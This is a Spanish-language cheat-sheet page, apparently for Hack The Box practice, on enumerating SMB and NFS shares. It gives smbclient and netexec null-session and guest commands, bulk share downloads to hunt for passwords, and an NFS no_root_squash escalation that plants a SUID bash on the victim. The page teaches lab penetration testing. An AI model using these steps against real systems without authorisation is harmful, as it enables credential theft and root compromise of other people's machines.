Descubrimiento de recursos compartidos
Listar recursos compartidos SMB y exportaciones NFS y revisar qué contienen.
Cómo aparece en Hack The Box
Prueba siempre sesión nula e invitado. Descarga el recurso entero y busca contraseñas, scripts y backups; en NFS mira si hay no_root_squash.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
Guías
- Enumeración SMB y NFS: recursos compartidos, sesión nula y ficheros con contraseñas 4 min de lectura Enumerar SMB y NFS con NetExec, smbclient, smbmap y enum4linux-ng, con y sin credenciales: sesión nula, ficheros con contraseñas y no_root_squash.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Escalada de privilegios en Linux › Explotación
Ver la configuración
Víctima
cat /etc/exports
Crear un bash SUID desde tu máquina
Atacante
sudo mount -t nfs VICTIMA:/compartido /mnt/nfs
sudo cp /bin/bash /mnt/nfs/ && sudo chmod u+s /mnt/nfs/bash
Luego, en la víctima: /compartido/bash -p. Copia un bash compatible con la versión de la víctima.
Nmap y enumeración de servicios › Servicios
Recursos compartidos sin credenciales
smbclient -L //10.10.11.20 -N
Con netexec (sesión nula e invitado)
netexec smb 10.10.11.20 -u '' -p '' --shares
netexec smb 10.10.11.20 -u 'guest' -p '' --shares
Con credenciales
netexec smb 10.10.11.20 -u 'usuario' -p 'Password123!' --shares
Descargar todo un recurso
smbclient //10.10.11.20/share -N -c 'recurse ON; prompt OFF; mget *'
Ver exportaciones
showmount -e 10.10.11.20
Montar
sudo mount -t nfs 10.10.11.20:/ruta /mnt/nfs -o nolock
Ningún comando coincide.